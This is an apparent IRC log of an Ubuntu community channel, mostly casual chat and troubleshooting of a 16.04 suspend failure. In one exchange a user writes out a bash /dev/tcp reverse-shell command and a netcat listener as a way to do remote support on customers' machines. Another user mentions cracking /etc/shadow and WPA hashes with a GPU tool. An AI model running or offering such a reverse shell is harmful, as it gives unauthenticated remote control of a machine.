[02:40] <daftykins> nicomachus: document for next time ;)
[02:41] <OerHeks> forget to move the printer to your next' place, problem solved
[02:41] <daftykins> XD
[02:41] <daftykins> morning team!
[02:41] <OerHeks> creme de la creme
[02:42] <OerHeks> My dog woke me up for a cookie.
[02:43] <OerHeks> must learn him how to browse to oerheks.nl
[02:44] <daftykins> hehehe
[02:44] <daftykins> perhaps time for an electronics dispenser machine project!
[02:57] <nicomachus> daftykins: it wasn't easy... WPS didn't really work out. had to connect directly to the wireless that the printer puts out, find the LAN IP, get onto the EWP that way, and then enter the login info for the printer.
[02:57] <nicomachus> s/printer/network/
[02:59] <nicomachus> I'm sure there was an easier way... but... oh well.
[03:00] <daftykins> mmm a real pig when you're out in the wild and don't know the IP of a device
[03:01] <nicomachus> if I had a better handle on nmap or traceroute or something I think it coulda been easier... but idk.
[03:08] <daftykins> i think i'd sooner factory reset a device
[05:53] <lotuspsychje> good morning to all
[05:53] <EriC^^> morning lotuspsychje
[05:53] <lotuspsychje> hey there EriC^^
[05:53] <daftykins> greetings o/
[05:53] <lotuspsychje> hi daftykins :p
[05:53] <EriC^^> hey daftykins
[05:54] <lotuspsychje> lets c whats new in ubuntu land
[05:54] <daftykins> this "The Night Manager" series seems pretty good if you folks can stand British accents :)
[05:55] <lotuspsychje> didnt hear of it yet
[05:56] <lotuspsychje> http://www.omgubuntu.co.uk/2016/05/ubuntu-image-size-increase-2gb
[05:56] <lotuspsychje> uh-oh
[05:59] <EriC^^> have you seen 'the website is down'
[05:59] <EriC^^> came across it yesterday
[06:00] <daftykins> haha yeah, the guy playing games whilst getting bad support calls
[06:01] <daftykins> lotuspsychje: concerning news, whilst i don't see any problem in the OS growing... it has to be for good reason, hopefully not just inefficiency creeping in
[06:02] <lotuspsychje> yeah avoiding the bloatware
[06:02] <dax> iirc the last big jump was language support
[06:03] <daftykins> seems to be what this article mentions yeah, i've seen more recent versions ask to download language support post install
[06:03] <lotuspsychje> dax: more countries?
[06:04] <lotuspsychje> after install clicking the language always asks me to update aswell
[06:04]  * dax shrugs
[06:04] <dax> ubiquity confuses me a lot, i'm more the debian-installer type
[06:05] <lotuspsychje> i had a language ubiquity bug on xenial alpha also
[06:06] <lotuspsychje> final got that solved
[06:06] <daftykins> heh my islands got set to US keyboard for about 5 years :| bug went ignored for the entire time
[06:06] <lotuspsychje> ouch
[06:07] <dax> some hardware we got the other day had the keyboard set to UK English
[06:07] <dax> kinda useful being a UK expat, I guess. rest of the office was floundering trying to put in an email address :)
[06:08] <daftykins> hehe
[06:10] <lotuspsychje> dax: one for you: https://www.howtoforge.com/tutorial/perfect-server-debian-8-4-jessie-apache-bind-dovecot-ispconfig-3-1/
[06:10] <dax> eww control panels :P
[06:11] <dax> i do need to set up bind some day though, it and samba are pretty much the only common daemons i haven't
[06:11] <lotuspsychje> :p
[06:11] <lotuspsychje> article came across lxer
[06:12] <daftykins> need to pop to a clients and prep a test VPN server later!
[06:32] <lotuspsychje> kk
[07:47] <lotuspsychje> bbl movietime
[07:47] <daftykins> :D
[10:47] <lotuspsychje> cfhowlett: howdy
[10:48] <cfhowlett> ? yowza, m 'lord
[10:48] <lotuspsychje> cfhowlett: do you know an online service that can make wallpaper for desktop/mobile/logo for a company?
[10:48] <lotuspsychje> im looking for something universal
[10:48] <cfhowlett> you mean graphically design it and all?
[10:48] <lotuspsychje> i found many company for just a company logo
[10:48] <lotuspsychje> but none of them make a wallpaper for pc/mobile
[10:49] <lotuspsychje> yes
[10:49] <cfhowlett> ah.  don't recall seeing same anywhere.  sounds like a possible startup though, doesn't it.
[10:49] <lotuspsychje> yes yes, this year ill start :p
[10:50] <cfhowlett> let me know!  I can do remote work!
[10:50] <lotuspsychje> well i have already thinked of that
[10:51] <lotuspsychje> to propose you guys $$ for remote work
[10:51] <cfhowlett> heck yes!!!
[10:52] <lotuspsychje> cfhowlett: would be neat to ssh into a new customers machine, and let you guys tweak it for its needs
[10:52] <lotuspsychje> i plugin cable and let you do some work
[10:52] <cfhowlett> gotta be a way, yes?
[10:53] <lotuspsychje> escpacially when business grows
[10:53] <lotuspsychje> but also for install issues ill hang here
[10:54] <lotuspsychje> cfhowlett: is it hard to make a mobile wallpaper for example?
[10:54] <EriC^^> you can do a reverse shell
[10:55] <lotuspsychje> http://www.mobileswall.com/
[10:55] <EriC^^> like he types bash ......... your ip
[10:55] <EriC^^> and you get a shell at his pc
[10:55] <lotuspsychje> EriC^^: nice idea
[10:55] <cfhowlett> lotuspsychje, no.  get the size specs, design and export to a supported file format.
[10:56] <lotuspsychje> ok
[10:57] <lotuspsychje> TJ-: wb
[10:59] <lotuspsychje> EriC^^: doesnt matter that the machine would have dutch language to do some remote work?
[10:59] <EriC^^> lotuspsychje: yeah np you can use export LANG=C
[10:59] <lotuspsychje> most customers will be dutch & french
[10:59] <EriC^^> aha
[11:00] <TJ-> thanks... laptop had suspended whilst I was out running :)
[11:00] <lotuspsychje> thats why those clevo machines would be nice EriC^^ as keyboard is .be and .usa choosable
[11:00] <EriC^^> aha, yeah
[11:01] <lotuspsychje> TJ-: was saying this morning, how i already thought of it what an impact unity8 is for ubuntu's future, they want it on every machine like MS right?
[11:01] <lotuspsychje> like that lumia comercial, with windows on all devices
[11:02] <lotuspsychje> and MS want patent on the sort of convergence
[11:02] <lotuspsychje> EriC^^: is that a shell setting or package install?
[11:03] <lotuspsychje> lang=c
[11:03] <EriC^^> lotuspsychje: let me get it for you 1 sec
[11:03] <EriC^^> oh
[11:03] <EriC^^> yeah it's a environment variable
[11:03] <EriC^^> LANG=C
[11:03] <lotuspsychje> EriC^^: can you explain how it would work
[11:04] <TJ-> the problem to me is that Canonical is driving this idea for a very small number of devices, at the expense of the larger desktop community, in the quest to have some control over those 'billions' of handheld devices
[11:04] <lotuspsychje> TJ-: but isnt their aim the desktop also with unity8?
[11:04] <TJ-> And they're sacrificed the power desktop user's abilities to control their desktop, and dumbed things down in the name of 'convergence'
[11:04] <lotuspsychje> yeah i understand
[11:05] <TJ-> lotuspsychje: it is, but the *design* is driven by small (screen) devices
[11:05] <EriC^^> lotuspsychje: this is the reverse shell bash -i > /dev/tcp/127.0.0.1/8080 0<&1 2>&1
[11:05] <lotuspsychje> EriC^^: cool
[11:06] <EriC^^> lotuspsychje: on your pc you type netcat -l -p 8080
[11:06] <TJ-> and as I said earlier, this weeks' UDS schedule which I went looking at for things to contribute to is overwhelmingly (I'd guess 90%) about convergence, snap, and 'apps'
[11:06] <EriC^^> and on the customer's machine you type bash -i > /dev/tcp/<your ip>/8080 0<&1 2>&1
[11:06] <lotuspsychje> EriC^^: and where does the lang=c come in?
[11:06] <EriC^^> you get a shell prompt on the customer's
[11:06] <EriC^^> after the shell type export LANG=C
[11:07] <EriC^^> then install stuff as usual
[11:07] <lotuspsychje> EriC^^: cool
[11:08] <lotuspsychje> EriC^^: first ill try to do most work myself
[11:08] <lotuspsychje> EriC^^: but on crowdy days i might need some remote help
[11:08] <EriC^^> yeah maybe maintenance stuff
[11:09] <EriC^^> would come in handy
[11:09] <EriC^^> yeah
[11:09] <lotuspsychje> EriC^^: well the way i want it, is to deliver tweaked ubuntu boxes to the customer with all the handiest packages preinstalled
[11:10] <lotuspsychje> EriC^^: so after i plugged ssd in and installed, packages,updates,tweaks needed
[11:10] <cfhowlett> lotuspsychje, OEM installation ---
[11:11] <lotuspsychje> cfhowlett: gonna try to avoid that, as packages changes
[11:11] <cfhowlett> OK
[11:11] <lotuspsychje> i want to be able to adapt at changes
[11:11] <lotuspsychje> new drivers, new hardware etc
[11:11] <TJ-> seeded auto-install using PXE boot
[11:12] <lotuspsychje> ill do the physical vanilla install, and plugin cable
[11:12] <TJ-> configure your seed file and let it all be done automatically
[11:13] <lotuspsychje> TJ-: i installed xenial in 10min on the 850 pro
[11:13] <lotuspsychje> most work is the tweaking and packages
[11:14] <lotuspsychje> and every customer needs another layout
[11:14] <lotuspsychje> we dont need gimp or krita for a gamer machine
[11:14] <lotuspsychje> or no steam on granma's box :p
[11:15] <lotuspsychje> i want to deliver tweaked boxes with specific needs
[11:15] <lotuspsychje> with auto security updates n such
[11:15] <TJ-> lotuspsychje: right, seed files are the way to automate it. Have a core file with the common requirements, plus specialised seeds on top for each purpose.
[11:16] <lotuspsychje> hi BluesKaj
[11:16] <BluesKaj> Hey folks
[11:17] <BluesKaj> Hi lotuspsychje
[11:20] <lotuspsychje> for those who havent readed it yet: http://www.omgubuntu.co.uk/2016/05/ubuntu-image-size-increase-2gb
[11:21] <EriC^^> does anybody know a quick fix for the 16.04 suspend problem?
[11:21] <TJ-> which suspend problem?
[11:22] <EriC^^> after suspending i get a black screen and it's unresponsive
[11:22] <EriC^^> even alt+sysrq doesn't work
[11:22] <TJ-> EFI?
[11:22] <EriC^^> yes
[11:22] <TJ-> does the PC have an EFI GOP module?
[11:23] <EriC^^> gop?
[11:23] <TJ-> (in the firmware) ... dmesg should indicate if there is one the kernel can talk to
[11:23] <EriC^^> dmesg | grep -i gop shows nothing
[11:24] <TJ-> Graphic Output Protocol - an UEFI driver to do modesetting etc.
[11:25] <EriC^^> doesn't look like it no idea
[11:25] <EriC^^> what's that fw.efi file in 16.04 btw?
[11:25] <EriC^^> fwupx64.efi
[11:26] <EriC^^> they also made /boot/efi read only for root now
[11:26] <EriC^^> umask=0077 in my fstab
[11:26] <TJ-> in dmesg you'll have something like "fb0: EFI VGA frame buffer device"
[11:27] <EriC^^> i added that for a new user while giving him a sample line for fstab and grub complained, he wasn't on 16.04 i guess
[11:27] <TJ-> that's the firmware update executable; with capsule files linux can now do firmware updates natively
[11:27] <EriC^^> nice
[11:28] <EriC^^> no efi stuff just one [    2.159749] i915 0000:00:02.0: fb0: inteldrmfb frame buffer device
[11:29] <TJ-> that was something we worked in last UDS for 15.10, in collab with the redhat devs
[11:29] <EriC^^> the umask=0077 ?
[11:29] <EriC^^> grub.cfg isn't read for all anymore too
[11:29] <cfhowlett> Zesty Zany Zebra
[11:29] <TJ-> so when the PC resumes from S3 it calls ACPI methods some of which should re-enable the GPU; it's possible simply putting in a correct acpi_osi= would fix it
[11:30] <EriC^^> TJ-: why does the alt+sysrq not work though? curious
[11:30] <EriC^^> isn't that a kernel thing?
[11:30] <TJ-> this pc had a weirdness where when charging at power-up the USB touchscreen digitiser wasn't powered up!
[11:31] <TJ-> EriC^^: yes, it's possible the kernel panics, or ACPI resume methods get stuck
[11:31] <EriC^^> ok
[11:31] <TJ-> using acpi_osi fixed it
[11:31] <lotuspsychje> cfhowlett: lol
[11:31] <TJ-> I'm seeing that most PCs now *need* acpi_osi to function optimally, else the ACPI DSDT doesn't enable all power functionality
[11:32] <EriC^^> btw yesterday i was watching a movie with the hdmi plugged in, and contrary to usual the player started lagging a lot and the whole pc lagged and i found a bunch of irq1 irq2 etc in top taking up the cpu
[11:32] <EriC^^> wonder if that's related?
[11:32] <EriC^^> it used to work flawlessly with the hdmi
[11:33] <TJ-> could be yes. check what OSIs the ACPI DSDT supports and add the latest to the kernel command-line
[11:33] <EriC^^> what was the command for that if you dont mind?
[11:34] <TJ-> "sudo strings /sys/firmware/acpi/tables/DSDT | grep -i windows" and identify the lastest version. usually it'll be something like "Windows 2013" or similar
[11:34] <EriC^^> thank you
[11:35] <TJ-> then add to the kernel command line: "apci_osi=! acpi_osi="Windows 2013"  "
[11:35] <EriC^^> looks like Windows 2012
[11:35] <TJ-> the ! deletes all existing OSIs then you add in just the one
[11:35] <EriC^^> oh ok
[11:35] <EriC^^> trying
[11:36] <EriC^^> brb
[11:37] <lotuspsychje> cfhowlett: zesty zebra will have unity8 as default also :o
[11:38] <lotuspsychje> TJ-: i wonder where this all will take us
[11:38] <cfhowlett> yes.  that will make it ... zestier?
[11:38] <lotuspsychje> lol
[11:38] <lotuspsychje> for the non-lovers there will be still our flavors right
[11:39] <lotuspsychje> cfhowlett: OerHeks is seeding iso flavors, and told us studio is most downloaded of all?
[11:39] <cfhowlett> Oh, wait!   I was wrong.
[11:39] <cfhowlett> Zaftig Zebra!
[11:39] <lotuspsychje> lol
[11:40] <cfhowlett> !!?!  could be.
[11:40] <cfhowlett> I haven't seen stats
[11:40] <lotuspsychje> !codenames
[11:41] <lotuspsychje> cfhowlett: http://i.imgur.com/7lnhB2B.png seeded by $ OerHeks $
[11:42] <cfhowlett> nice
[11:43] <EriC^^> TJ-: no luck
[11:43] <TJ-> i was helping a chap the other night with a dell inspiron with a laggy touchpad, he was about to RMA it to Dell. We added the latest acpi_osi and it fixed that issue and doubled battery life and generally made the PC feel 'zippier'
[11:43] <EriC^^> i noticed it didn't even suspend, it just turned the screen black, the fan started turning faster, then hung, alt+sysrq didnt work
[11:44] <TJ-> EriC^^: OK, so then it may be a failure to suspend at all
[11:44] <EriC^^> nice
[11:44] <EriC^^> oh, it's nothing acpi related?
[11:44] <EriC^^> i tried acpi_osi="Linux" on this boot
[11:44] <EriC^^> btw how can we see the older dmesg now?
[11:44] <TJ-> "Linux" won't work
[11:44] <EriC^^> /var/log/dmesg.0 is empty
[11:44] <TJ-> kern.log kern.log.1 etc
[11:45] <EriC^^> even /var/log/dmesg is
[11:45] <EriC^^> ah thanks
[11:45] <TJ-> dmesg has always been directed to kern.log in Debian/Ubuntu
[11:45] <EriC^^> it had a dmesg too though i think
[11:45] <TJ-> EriC^^: the only OSI strings that will work are those present in the ACPI DSDT, revealed by that 'strings' command
[11:46] <TJ-> Yes, usually the boot-time dmesg was saved to a file
[11:46] <EriC^^> ok i uploaded kern.log.1 , let us see
[11:46] <EriC^^> http://paste.ubuntu.com/16200730/
[11:46] <EriC^^> it's huge though
[11:47] <EriC^^> oh crap
[11:47] <TJ-> EriC^^: to debug the suspend issue, reboot with "no_console_suspend initcall_debug debug" on the kernel command line... then *use a console* to initiate the suspend "sudo systemctl suspend& dmesg --follow" and you *may* see some useful info
[11:47] <EriC^^> it's old, just til april 30
[11:48] <TJ-> notice how the systemctl command is put into the background so you can watch the dmesg output (--follow is like tail -f )
[11:48] <EriC^^> ok
[11:50] <EriC^^> ok brb
[11:53] <lotuspsychje> all these same returning issues on linux is a pain
[11:53] <TJ-> the symptom may be similar but the causes often are different
[11:53] <lotuspsychje> yeah but same suspend problems are suffered by so many users over and over
[11:54] <TJ-> newer hardware brings fresh challenges for newer driver code and so on
[11:54] <lotuspsychje> true
[11:55] <lotuspsychje> but on windows working by default?
[11:55] <TJ-> well, much of it is down to Windows begin the target of the manufacturers, and they fix bugs on there with their own drivers that do workarounds, but don't publish that info so Linux devs can do the same workarounds, so we end up having to reverse-engineer the problems to understand them, to create solutions
[11:55] <lotuspsychje> right
[11:55] <EriC^^> i hope i got it right
[11:55] <EriC^^> yeah
[11:55] <EriC^^> initcall_debug debug
[11:55] <TJ-> you put a vanilla windows install on many PCs they'll have many devices not working... you've got to pile on the manufacturer's drivers for all the devices too
[11:56] <lotuspsychje> TJ-: also true
[11:56] <TJ-> EriC^^: the most important is "no_console_suspend" so you can continue seeing messages right up to the power going off
[11:56] <TJ-> bah! he missed that!
[11:57] <lotuspsychje> fast as lucky luke
[11:57] <TJ-> we have a saying... up and down more than a whore's drawers :)
[11:57] <lotuspsychje> lol
[11:58] <TJ-> I had a weird suspend/resume issue a few days ago that seems to have gone away. the pc was waking up every 30 minutes then going back to sleep overnight
[11:59] <TJ-> last 3 nights its been OK... maybe it was just dying for the toilet :D
[11:59] <TJ-> EriC^^: the most important is "no_console_suspend" so you can continue seeing messages right up to the power going off
[11:59] <EriC^^> TJ-: it looked normal
[11:59] <EriC^^> it put a bunch of text really quickly
[11:59] <EriC^^> then reached systemd streamed .... something a bunch of messages
[12:00] <EriC^^> it paused there for a bit then the screen turned off and the fan started spinning quicker
[12:00] <TJ-> EriC^^: I usually video it and play it back slowly so I can analyse the messages properly
[12:00] <EriC^^> it was intensely quick
[12:00] <TJ-> the fan speeding up does sound like an ACPI event
[12:00] <lotuspsychje> can a tail -f do any help?
[12:00] <TJ-> Yes, it should be
[12:00] <TJ-> lotuspsychje: "dmesg --follow"
[12:01] <EriC^^> i tried acpi=off now
[12:01] <EriC^^> let me give it a shot
[12:01] <lotuspsychje> cross fingers
[12:01] <EriC^^> :D
[12:02] <EriC^^> interesting systemctl suspend isn't working from the gui
[12:03] <TJ-> acpi=off is a good way to fry the system these days
[12:03] <EriC^^> lol i just noticed
[12:03] <EriC^^> temp at 88
[12:03] <EriC^^> brb
[12:03] <lotuspsychje> somthing smells here..
[12:04] <lotuspsychje> oh its me! i need a shower :p
[12:04] <pauljw> could be me, had been burritos last night...
[12:04] <pauljw> bean even
[12:04] <lotuspsychje> haha
[12:05] <pauljw> didn't realize ubuntu had implemented 'smellivision'
[12:05] <TJ-> In the interests of 'convergence' Canonical is introducing the unity-scope-smellovision in the 16.10 cycle
[12:05] <pauljw> lol
[12:05] <lotuspsychje> wahaha
[12:05] <TJ-> great minds :p
[12:05] <EriC^^> phew
[12:06] <TJ-> EriC^^: did you put it in the freezer? :D
[12:06] <EriC^^> ok back with no_console_suspend
[12:06] <EriC^^> lol, no i only do that to my iphone
[12:06] <EriC^^> :D
[12:06] <TJ-> EriC^^: does the PC have a serial port?
[12:06] <EriC^^> (no joke i had to fix the wifi that way)
[12:07] <EriC^^> this is going to sound dumb but what does it look like
[12:07] <EriC^^> serial is the vga ?
[12:07] <EriC^^> or the long printer one you mean?
[12:08] <TJ-> I used to set the kernel to using a serial port to output its messages so I could capture them on another PC. netconsole might work but I'd guess the network will be down far too early to help. Since serial ports went away I now have a custom-made USB>serial<>serial<USB converter cable that has 2 USb<>serial converter chips back-to-back so I can do the same thing over USB
[12:08] <EriC^^> oh
[12:09] <EriC^^> i'd use the iphone to ssh to it
[12:09] <TJ-> RS232 serial interface is a 9-pin D-type connector with 2 rows of pins. VGA is a 15-pin D-type with 3 rows of sockets
[12:09] <EriC^^> but it's making a disconnect sound after the command
[12:09] <EriC^^> ah
[12:09] <EriC^^> i dont think it has a serial port
[12:09] <TJ-> yes, you need to direct connection to capture the suspend messages if you can't video-capture the screen messages
[12:09] <EriC^^> i will try to video record them
[12:10] <EriC^^> brb
[12:10] <TJ-> EriC^^: you can force the kernel to wait after each message to stop the speed scroll too, hang on!
[12:10] <TJ-> wait!
[12:10] <TJ-> speedy bloosy gonzales!
[12:11] <EriC^^> lol
[12:11] <EriC^^> how?
[12:11] <TJ-> I'm not sure if this will take effect during suspend but...
[12:11] <EriC^^> each message will be too much i think though
[12:12] <TJ-> ... "boot_delay=<milliseconds>" will put a delay after each kernel message at boot-time. It may also work at suspend/resume, but I've never tested it
[12:12] <EriC^^> ok i'll try it
[12:12] <EriC^^> let me test now as it is booted
[12:12] <TJ-> e.g. "boot_delay=100" is 1/10 second
[12:12] <EriC^^> ok
[12:12] <lotuspsychje> surely needed on ssd's
[12:12] <EriC^^> :D
[12:13] <EriC^^> brb
[12:13]  * lotuspsychje off to shower now for real
[12:13]  * TJ- thinks Eric^^ needs a 2nd PC
[12:14] <lotuspsychje> TJ-: not everyone has 6 matrix-style screens in fron of them lol
[12:15] <lotuspsychje> mr. anderson, working in IT company overdays, hacker overnight :p
[12:16] <TJ-> I don't right now whilst working on this T300; it's hard work having to flip between windows that obscure each other... a very primitive way of working!
[12:19] <EriC^^> it wouldn't suspend, just gave some messages then said watchdog at the end
[12:19] <EriC^^> when i press enter it just gives the shell back
[12:20] <EriC^^> wb cfhowlett
[12:20] <TJ-> OK, that's useful
[12:20] <EriC^^> it is?
[12:21] <TJ-> of course... can you show us the messages?
[12:21] <EriC^^> lol i deleted the video
[12:21] <TJ-> presumably some device failed to suspend correctly so the kernel aborted the operation
[12:22] <EriC^^> pm-suspend did work btw in case it helps
[12:22] <EriC^^> i'll reboot with the cmdline parameters and video again
[12:22] <EriC^^> any final thoughts?
[12:23] <EriC^^> ill brb
[12:41] <EriC^^> TJ-: this is the last message it displays http://imgur.com/dfPgR9R
[12:43] <TJ-> there's no suspend related messages there at all
[12:43] <EriC^^> the very last thing is displays at the bottom is watchdog=1
[12:44] <EriC^^> i'm uploading the video of the dmesg output, half way there
[12:45] <EriC^^> there's a message in the scroll that says can't disable aspm, os doesn't have aspm control
[12:46] <EriC^^> CRAT: table not found
[12:46] <EriC^^> btw boot_delay didn't boot the pc
[12:46] <EriC^^> i think it's seconds instead of milliseconds
[12:47] <EriC^^> or for the whole time it waits that much
[12:47] <EriC^^> i hope it didn't butcher the quality too much
[12:47] <EriC^^> https://sendvid.com/ofy9uw04
[12:48] <EriC^^> hmm it's not downloadable i think :/
[12:49] <TJ-> let me paste from my working suspend/resume kernel log
[12:52] <EriC^^> hmm i think none of the scroll is related to the suspend
[12:52] <EriC^^> cause the time is 44 then 87
[12:52] <TJ-> http://paste.ubuntu.com/16201163/
[12:53] <TJ-> the point at which it had just started the Resume is where you find "ACPI: Low-level resume complete"
[12:54] <TJ-> the timestamps of the messages before that, when the system was suspending, are the time the system resumed. The reason is they stayed in the kernel's log buffer and were only flushed to log-file when the resume had happened, and they get timestamped when added to the log, not when generated
[13:04] <lotuspsychje> EriC^^: another option would be booting newer kernel
[13:05] <lotuspsychje> 4.4.8 or so
[13:07] <lotuspsychje> seems like they made a page for xenial too: https://help.ubuntu.com/16.04/ubuntu-help/power-suspendfail.html
[13:07] <lotuspsychje> TJ-: they mention indeed might be the hardware not supported
[13:08] <EriC^^> lotuspsychje: good idea
[13:08] <lotuspsychje> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1566302
[13:09] <lotuspsychje> this guy fiddles with kernels also
[13:10] <EriC^^> !mainline
[13:12] <lotuspsychje> also interesting https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1574120
[13:13] <EriC^^> seems easy enough to install a new kernel
[13:13] <EriC^^> just d/l then dpkg -i
[13:14] <lotuspsychje> yep yep :p
[13:14] <EriC^^> hi pauljw :)
[13:14] <lotuspsychje> im curious
[13:14] <pauljw> hi EriC^^
[13:14] <lotuspsychje> EriC^^: im reading 4.6 or 4.8
[13:14] <EriC^^> how's it going?
[13:14] <TJ-> I wonder if those systems all have hybrid GPUs?
[13:14] <pauljw> going well, EriC^^ tks.  you?
[13:14] <EriC^^> lotuspsychje: i'm trying the 4.6rc2
[13:14] <lotuspsychje> EriC^^: ok!
[13:14] <EriC^^> 4.6rc6*
[13:15] <EriC^^> pauljw: good, thanks
[13:16] <lotuspsychje> TJ-: i talked to the @ from gamingonlinux this morning saying that all our GTX 9xx series can be solved with: disable intel cpu graphics, even when not optimus
[13:16] <lotuspsychje> TJ-: grabbing latest nvidia driver from ppa
[13:17] <lotuspsychje> or disabling fastboot
[13:17] <lotuspsychje> for users who cant get in to installing ubuntu/black screens
[13:17] <EriC^^> headers package has a problem, linux-headers-4.6.0-040600rc6-generic depends on linux-headers-4.6.0-040600rc6
[13:18] <TJ-> you need the linux-headerse*all.deb as well as the architecture-specfic debs
[13:18] <EriC^^> do i need them just to test though?
[13:18] <EriC^^> it's just for dkms virtualbox right?
[13:18] <EriC^^> aha
[13:19] <EriC^^> thank god for apt, makes life real easy
[13:20] <EriC^^> can't imagine what it'd be like without it
[13:20] <lotuspsychje> :p
[13:21] <EriC^^> the _all.deb worked
[13:21] <EriC^^> ok, testing :D
[13:21] <EriC^^> brb
[13:24] <EriC^^> works!
[13:24] <lotuspsychje> !yay
[13:25] <EriC^^> i guess it's a kernel bug then?
[13:25] <lotuspsychje> EriC^^: perhaps you should recreate a bug and solve it right away?
[13:25] <EriC^^> how?
[13:25] <lotuspsychje> !bug
[13:26] <EriC^^> TJ-: is the new dmesg useful?
[13:26] <lotuspsychje> and then attach yourself how you fixxed it
[13:28] <EriC^^> ok
[13:28] <EriC^^> trying oclhashcat now for fun
[13:28] <EriC^^> maybe it works now
[13:28] <lotuspsychje> EriC^^: whats that
[13:29] <EriC^^> it's a really quick gpu cracker
[13:29] <lotuspsychje> cool
[13:29] <EriC^^> like you can crack the hash from /etc/shadow
[13:29] <EriC^^> and other stuff, wpa maybe if you have enough gpu power
[13:30] <EriC^^> i tried it once before on my password it cracked it, was fun to try
[13:30] <lotuspsychje> :p
[13:30] <EriC^^> i needed fglrx to get to run back then, since 16.04 i tried it but it said opencl not found
[13:31] <EriC^^> the wpa-cracking guys on forums are sobbing
[13:31] <EriC^^> (i searched for the error)
[13:31] <lotuspsychje> EriC^^: check this tool list: https://www.blackarch.org/tools.html
[13:33] <EriC^^> that's a pretty huge list
[13:33] <lotuspsychje> 1400 tools
[13:34] <EriC^^> damn
[13:35] <EriC^^> ocl isn't working, i think it's the amdgpu, ubuntu is working on it still i guess
[13:37] <EriC^^> that list is pretty useful i guess instead of like downloading the distro if you ever need something for some reason you could just get it from there
[13:37] <EriC^^> if they weren't open source i'd think 99% are trojans haha
[13:38] <lotuspsychje> AMD users require Catalyst 15.7 or later
[13:38] <lotuspsychje> fglrx isnt supported anymore..for now
[13:38] <lotuspsychje> hi de-facto
[13:38] <EriC^^> it's coming back i think right?
[13:38] <EriC^^> vaguely recall seeing that somewhere
[13:38] <lotuspsychje> EriC^^: we hear at .1 yes
[13:39] <de-facto> Hey guys :)
[13:39] <EriC^^> hey de-facto
[13:39] <TJ-> No, it isn't coming back
[13:40] <EriC^^> it's not?
[13:40] <EriC^^> so ubuntu plans to work more on amdgpu?
[13:40] <TJ-> what is going to happen is that for the 14.04 > 16.04.1 release-upgrade there is going to be a compatibilty path so that systems with fglxr don't suddenly lose functionality
[13:41] <EriC^^> oh
[13:41] <lotuspsychje> oh
[13:41] <EriC^^> amd dropped support for linux
[13:41] <TJ-> the comment by Oliver was taken out of context, and his comment was based on his misunderstaning of something he heard said in the Canonical corridors which he wasn't directly involved in
[13:41] <EriC^^> so ubuntu had to make a better opensource driver
[13:41] <EriC^^> ?
[13:41] <TJ-> No, AMD have moved to completely open-source driver
[13:42] <EriC^^> oh, so amdgpu is actually by amd not ubuntu?
[13:42] <lotuspsychje> good news finally
[13:42] <TJ-> amdgpu is the new, totally F/OSS driver, with some older devices supported in the F/OSS radeon driver
[13:43] <TJ-> it seems a few GPU models will fall between the 2 and not have decent support immediately, which is why losing fglxr is causing so many issues
[13:43] <EriC^^> oh
[13:43] <EriC^^> that kind of sucks
[13:43] <TJ-> its the typical thing I'm constantly complaining of
[13:43] <TJ-> they create something new, switch to it before it has feature compatibility with what they replaced
[13:44] <TJ-> bloody devs
[13:44] <lotuspsychje> lol
[13:44] <EriC^^> :D
[13:44] <TJ-> me and Linus Torvalds must be the only 2 devs that believe in not breaking the userspace
[13:44] <lotuspsychje> its like the 'typical sysadmin'
[13:44] <lotuspsychje> thinking his network is the safest
[13:45] <lotuspsychje> always thinking in the box
[13:45] <TJ-> ha! i could tell you a story about that kind of thing that happened to me today, but if I did I'd have to shoot you afterwards :D
[13:45] <lotuspsychje> lol
[13:45] <lotuspsychje> your secrets are safe with lotus (on a logged channel oO)
[13:46] <TJ-> i was dealing with a law enforcement agency and sent them a gpg encrypted file. They called me to ask if I'd email it in plain text since "it might contain a virus and we're not allowed to open it"
[13:46] <lotuspsychje> lol
[13:47] <de-facto> lol seriously?
[13:47] <TJ-> You wouldn't believe how poor some LEAs awareness of info-sec and digital forensics  is
[13:47] <TJ-> yes, this was an officer in their digital forensics department!
[13:47] <lotuspsychje> dear lord have mercy
[13:48] <TJ-> oh yes, they run networked/internetworked windows PCs in their digital forensics lab, with no air-gapped PCs no virtual machines, they just open everything on their primary Windows OS!
[13:48] <TJ-> it makes me want to weep
[13:48] <de-facto> probably they work with a "hardened" XP
[13:48] <lotuspsychje> i think the typical cybercrime units are also a joke
[13:48] <lotuspsychje> lol de-facto
[13:48] <TJ-> pffft
[13:49] <TJ-> hardened as in its so full of 0-days no more will fit in :D
[13:49] <lotuspsychje> haha
[13:49] <lotuspsychje> 0wned by several 0day botnets
[13:50] <TJ-> you'd think of anyone in LEA, the digital forensics bods would know about encryption and securely sending messages! The organisation itself should have a policy and training program to a basic level of awareness of the tools to use
[13:51] <TJ-> I wouldn't be surprised if, instead of setting up a VM and using PGP/gpg to decrypt the file, they send someone all the way to me to personally collect a printout
[13:51] <de-facto> are there any governments running their infrastructure in parts or entirely on linux or ubuntu?
[13:51] <lotuspsychje> de-facto: i think germany has big linux part gov
[13:52] <lotuspsychje> de-facto: http://www.comparebusinessproducts.com/fyi/50-places-linux-running-you-might-not-expect
[13:52] <TJ-> The UK has some areas that are pushing F/OSS, and security-conscious organisations will use Linux moreso than others, but MS has offered deep discounts and bribes to keep the licensing going
[13:57] <de-facto> well i read germany have parts running on linux (was it munich?), but they also seem to still run (old) windows infrastructure too (and got it hacked). Even UK military was criticized for making an extended support contract with MS for their "hardened XP" in their submarines. I really wish more were running ubuntu lts (hell even the noob user experience is way better nowerdays than XP or such)
[13:57] <lotuspsychje> agreed
[14:03] <de-facto> btw do you guys know for what reason lsb-core et al was dropped in xenial? there are now many guides in the webs stealing those packets from jessie
[14:05] <lotuspsychje> hmm not sure
[14:05] <de-facto> e.g. for google-earth and such
[14:06] <lotuspsychje> bah http://skagitsignal.com/?p=1740
[14:07] <lotuspsychje> that doesnt look like a legit solution..
[14:09] <de-facto> yeah many guys (and girls?)  will probably mess up their system because of this
[14:10] <lotuspsychje> yeah dependecies..
[14:11] <de-facto> i mean not that google-earth was known for ever have dealt with their dependencies properly, but still its very popular and ppl want to run it on their xenial boxes
[14:12] <lotuspsychje> de-facto: perhaps adding a google earth ppa? or would that also ask for the lsb-core?
[14:13] <TJ-> de-facto: I think Debian decided to pull lsb-core since Debian doesn't follow it
[14:14] <de-facto> i think there are some conversion scripts (was it googleearth-package "utility to automatically build a Debian package of Google Earth")
[14:14] <TJ-> I read a mailing list article about it some time ago
[14:14] <TJ-> basically the LSB defines some paths/files in RedHat/RPM specific ways, which Debian doesn't do
